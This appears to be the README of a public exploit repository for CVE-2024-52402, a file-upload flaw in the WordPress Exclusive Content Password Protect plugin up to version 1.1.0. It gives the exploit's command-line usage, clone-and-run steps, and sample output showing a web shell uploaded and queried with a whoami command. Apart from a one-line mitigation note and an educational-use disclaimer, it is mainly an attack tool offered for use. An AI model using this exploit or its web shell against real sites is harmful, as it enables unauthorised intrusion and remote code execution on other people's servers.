
WordPress Exclusive Content Password Protect plugin <= 1.1.0 - CSRF to Arbitrary File Upload vulnerability
This exploit targets a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress Exclusive Content Password Protect plugin, versions up to and including 1.1.0. This vulnerability allows an attacker to upload a web shell to the web server, leading to potential remote code execution.
To exploit this vulnerability, you need to provide the target WordPress site URL, a valid WordPress username, and password. The exploit script will log in to the WordPress site and attempt to upload a web shell.
python CVE-2024-52402.py -u <target> -un <username> -p <password>
usage: CVE-2024-52402.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-un, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
[+] Plugin version detected: 1.1.0
[+] Logged in successfully.
[!] Exploit completed! Web Shell uploaded: http://target/wordpress/wp-content/uploads/nxploit.php
[*] Test with: http://target/wordpress/wp-content/uploads/nxploit.php?cmd=whoami
This script exploits the CSRF vulnerability in the Exclusive Content Password Protect plugin to upload a Web Shell to the WordPress server. However, it does not execute a CSRF attack directly; instead, it focuses on leveraging the plugin’s file upload functionality to achieve exploitation.
Clone the Repository
git clone https://github.com/Nxploited/CVE-2024-52402.git
cd CVE-2024-52402
Install Requirements
Ensure you have requests library installed:
pip install requests
Run the Script Use the following command to execute the script:
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
To mitigate this vulnerability, update the Exclusive Content Password Protect plugin to the latest version where this issue has been fixed.
This script is intended for educational purposes only. Unauthorized use of this script against systems that you do not have explicit permission to test is illegal and unethical.
Exploit By: Nxploit , Khaled alenazi.